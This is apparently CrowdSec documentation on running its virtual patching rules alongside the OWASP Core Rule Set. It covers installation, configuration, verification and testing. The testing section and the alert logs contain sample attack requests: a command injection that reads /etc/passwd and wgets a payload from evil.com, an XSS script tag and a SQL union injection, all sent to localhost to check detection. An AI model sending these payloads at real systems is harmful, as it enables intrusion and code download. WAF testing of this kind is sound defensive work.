Skip to main content
Version: v1.6

Virtual Patching + OWASP CRS

Overview

This guide shows how to deploy both CrowdSec's virtual patching rules and OWASP Core Rule Set (CRS) together for comprehensive web application protection. CrowdSec's Virtual Patching rules will always be configured as blocking rules, while OWASP CRS can be configured in blocking or non-blocking rules.

OWASP Core Rule Set

The OWASP CRS is a set of generic attack detection rules that aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with a minimum of false alerts. CRS provides protection against many common attack categories, including SQL Injection, Cross Site Scripting, Local File Inclusion, etc.

CrowdSec Virtual Patching Rules

CrowdSec produces virtual patching rules for new (and sometime old) vulnerabilities that we see as having traction in the wild. While Virtual Patching rules doesn't offer a generic protection (as CRS might do) they do target specific vulnerabilities and offer nearly zero false positive chance.

Objective

OWASP CRS can be integrated in various fashion with CrowdSec's WAF:

  • Non Blocking will not block requests that trigger CRS, however, repeating offenders will get banned.
  • Blocking will block any and all requests that trigger CRS, and ban repeating offenders.

This documentation assumes that you already have a Basic WAF setup with CrowdSec Security Engine.

OWASP Core Rule Set - Non-Blocking

Install Required Collections

Install both the virtual patching and CRS collections:

Install virtual patching rules (in-band blocking)
cscli collections install crowdsecurity/appsec-virtual-patching
cscli collections install crowdsecurity/appsec-crs

Configure AppSec

Update your AppSec acquisition configuration:

/etc/crowdsec/acquis.d/appsec.yaml
appsec_configs:
- crowdsecurity/appsec-default # Virtual patching rules (in-band)
- crowdsecurity/crs # OWASP CRS rules (out-of-band)
labels:
type: appsec
listen_addr: 127.0.0.1:7422
source: appsec

Restart CrowdSec

sudo systemctl restart crowdsec

How It Works

Two-Layer Protection

Layer 1 - Virtual Patching (In-band):

  • Rules from crowdsecurity/appsec-default
  • Evaluated synchronously before request proceeds
  • Blocks known exploits immediately
  • High-confidence, low false-positive rules

Layer 2 - OWASP CRS (Out-of-band):

  • Full ModSecurity Core Rule Set from crowdsecurity/crs
  • Evaluated asynchronously after request is processed
  • Comprehensive attack detection and analysis
  • No impact on request response time

CRS Out-of-Band Processing

OWASP CRS rules are loaded as out-of-band rules, which means:

  1. No Performance Impact: CRS evaluation happens after the web server has already responded
  2. Comprehensive Detection: Full rule set can detect complex attack patterns
  3. Event Generation: Matches generate events for CrowdSec's scenario system
  4. Behavioral Analysis: The crowdsecurity/crowdsec-appsec-outofband scenario monitors patterns and bans repeat offenders

Scenario Integration

The crowdsecurity/appsec-crs collection includes:

  • crowdsecurity/crs: AppSec config that loads CRS rules in out-of-band mode
  • crowdsecurity/crowdsec-appsec-outofband: Scenario that bans IPs after 5+ out-of-band rule violations

Verification

Check Installation

Verify that both configurations are loaded:

Check AppSec configurations
cscli appsec-configs list

Should show:

  • crowdsecurity/appsec-default
  • crowdsecurity/crs
Check scenarios
cscli scenarios list | grep appsec

Should show:

  • crowdsecurity/crowdsec-appsec-outofband

Check AppSec Status

Check that AppSec is running
cscli metrics

Look for appsec metrics in the output

Testing - CrowdSec Vpatch

If CrowdSec vpatch rules are properly enabled, the following request should return a 403:

TARGET=localhost
curl -I ${TARGET}'/.env'

Testing - OWASP CRS

Those requests are meant to emulate malevolent requests that will be catched by OWASP CRS.
Don't lock yourself out if CrowdSec or any other security rule processor applies a ban uppon the following:

TARGET=localhost
curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
curl -I ${TARGET}'/?x=A"<script>alert(1)</script>'
curl -I ${TARGET}'/?x=A"<script>alert(1)</script>'
curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'

Uppon triggering those, you should see in CrowdSec logs:

time="2025-08-22T11:39:50+02:00" level=info msg="Ip xxx performed 'crowdsecurity/crowdsec-appsec-outofband' (6 events over 65.915093ms) at 2025-08-22 09:39:50.392681747 +0000 UTC"
time="2025-08-22T11:39:51+02:00" level=info msg="(5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab/crowdsec) crowdsecurity/crowdsec-appsec-outofband by ip xxx : 4h ban on Ip xxx"

Further requests to the webserver should return 403:

$ curl -I ${TARGET}
HTTP/1.1 403 Forbidden

Alert Inspection

You can inspect the alert to better see what URLs or payloads triggered the rules:

# cscli  alerts list
╭──────┬────────────┬─────────────────────────────────────────┬─────────┬────┬───────────┬──────────────────────╮
│ ID │ value │ reason │ country │ as │ decisions │ created_at │
├──────┼────────────┼─────────────────────────────────────────┼─────────┼────┼───────────┼──────────────────────┤
2172 │ Ip:xxx │ crowdsecurity/crowdsec-appsec-outofband │ │ │ ban:1 │ 2025-08-22T09:39:50Z │
...
# cscli  alerts inspect -d 2172

################################################################################################

- ID : 2172
- Date : 2025-08-22T09:39:51Z
- Machine : 5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab
- Simulation : false
- Remediation : true
- Reason : crowdsecurity/crowdsec-appsec-outofband
- Events Count : 6
- Scope:Value : Ip:xxx
- Country :
- AS :
- Begin : 2025-08-22T09:39:50Z
- End : 2025-08-22T09:39:50Z
- UUID : a0ad365a-ef08-4c18-af80-20cc02625c35

╭─────────────────────────────────────────────────────────────────────╮
│ Active Decisions │
├──────────┬─────────────┬────────┬────────────┬──────────────────────┤
│ ID │ scope:value │ action │ expiration │ created_at │
├──────────┼─────────────┼────────┼────────────┼──────────────────────┤
19719904 │ Ip:xxx │ ban │ 3h57m38s │ 2025-08-22T09:39:51Z │
╰──────────┴─────────────┴────────┴────────────┴──────────────────────╯

- Context :
╭────────────┬─────────────────────────────────────────────────────╮
│ Key │ Value │
├────────────┼─────────────────────────────────────────────────────┤
│ rules │ native_rule:901340 │
│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
│ target_uri │ /?x=A"<script>alert(1)</script>
│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
╰────────────┴─────────────────────────────────────────────────────╯

- Events :

- Date: 2025-08-22 09:39:50.326505724 +0000 UTC
╭─────────────────────┬──────────────────────────────────────────────────────────────╮
│ Key │ Value │
├─────────────────────┼──────────────────────────────────────────────────────────────┤
│ datasource_path │ appsec │
│ datasource_type │ appsec │
│ log_type │ appsec-info │
│ remediation_cmpt_ip │ 127.0.0.1 │
│ request_uuid │ 331f9426-3333-420a-bffa-ab953f44e329 │
│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110
│ │ 980170]
│ rule_name │ native_rule:901340 │
service │ appsec │
│ source_ip │ xxx │
│ target_host │ localhost │
│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
╰─────────────────────┴──────────────────────────────────────────────────────────────╯

- Date: 2025-08-22 09:39:50.33919196 +0000 UTC
╭─────────────────────┬──────────────────────────────────────────────────────────────╮
│ Key │ Value │
├─────────────────────┼──────────────────────────────────────────────────────────────┤
│ datasource_path │ appsec │
│ datasource_type │ appsec │
│ log_type │ appsec-info │
│ remediation_cmpt_ip │ 127.0.0.1 │
│ request_uuid │ 69c72a65-e7e5-49fa-9253-bdbe6fca52c9 │
│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
│ │ 980170] │
│ rule_name │ native_rule:901340 │
│ service │ appsec │
│ source_ip │ xxx │
│ target_host │ localhost │
│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
╰─────────────────────┴──────────────────────────────────────────────────────────────╯

- Date: 2025-08-22 09:39:50.352001523 +0000 UTC
╭─────────────────────┬───────────────────────────────────────────────────────────╮
│ Key │ Value │
├─────────────────────┼───────────────────────────────────────────────────────────┤
│ datasource_path │ appsec │
│ datasource_type │ appsec │
│ log_type │ appsec-info │
│ remediation_cmpt_ip │ 127.0.0.1 │
│ request_uuid │ b7a95a56-a88e-4c89-b23b-2d3d06759af4 │
│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170]
│ rule_name │ native_rule:901340 │
service │ appsec │
│ source_ip │ xxx │
│ target_host │ localhost │
│ target_uri │ /?x=A"<script>alert(1)</script> │
╰─────────────────────┴───────────────────────────────────────────────────────────╯

- Date: 2025-08-22 09:39:50.365872595 +0000 UTC
╭─────────────────────┬───────────────────────────────────────────────────────────╮
│ Key │ Value │
├─────────────────────┼───────────────────────────────────────────────────────────┤
│ datasource_path │ appsec │
│ datasource_type │ appsec │
│ log_type │ appsec-info │
│ remediation_cmpt_ip │ 127.0.0.1 │
│ request_uuid │ fbc41250-53e6-49d9-ab04-5f6ed2cc1793 │
│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
│ rule_name │ native_rule:901340 │
│ service │ appsec │
│ source_ip │ xxx │
│ target_host │ localhost │
│ target_uri │ /?x=A"<script>alert(1)</script>
╰─────────────────────┴───────────────────────────────────────────────────────────╯

- Date: 2025-08-22 09:39:50.378905387 +0000 UTC
╭─────────────────────┬───────────────────────────────────────────────╮
│ Key │ Value │
├─────────────────────┼───────────────────────────────────────────────┤
│ datasource_path │ appsec │
│ datasource_type │ appsec │
│ log_type │ appsec-info │
│ remediation_cmpt_ip │ 127.0.0.1 │
│ request_uuid │ d59825ff-268b-42ff-8e90-9e831a7f6a6b │
│ rule_ids │ [901340 942100 942190 949110 980170]
│ rule_name │ native_rule:901340 │
service │ appsec │
│ source_ip │ xxx │
│ target_host │ localhost │
│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
╰─────────────────────┴───────────────────────────────────────────────╯

- Date: 2025-08-22 09:39:50.392514386 +0000 UTC
╭─────────────────────┬───────────────────────────────────────────────╮
│ Key │ Value │
├─────────────────────┼───────────────────────────────────────────────┤
│ datasource_path │ appsec │
│ datasource_type │ appsec │
│ log_type │ appsec-info │
│ remediation_cmpt_ip │ 127.0.0.1 │
│ request_uuid │ d0dc6cab-0ef2-4e7d-9fd1-ab06091b23ea │
│ rule_ids │ [901340 942100 942190 949110 980170]
│ rule_name │ native_rule:901340 │
service │ appsec │
│ source_ip │ xxx │
│ target_host │ localhost │
│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
╰─────────────────────┴───────────────────────────────────────────────╯

Next Steps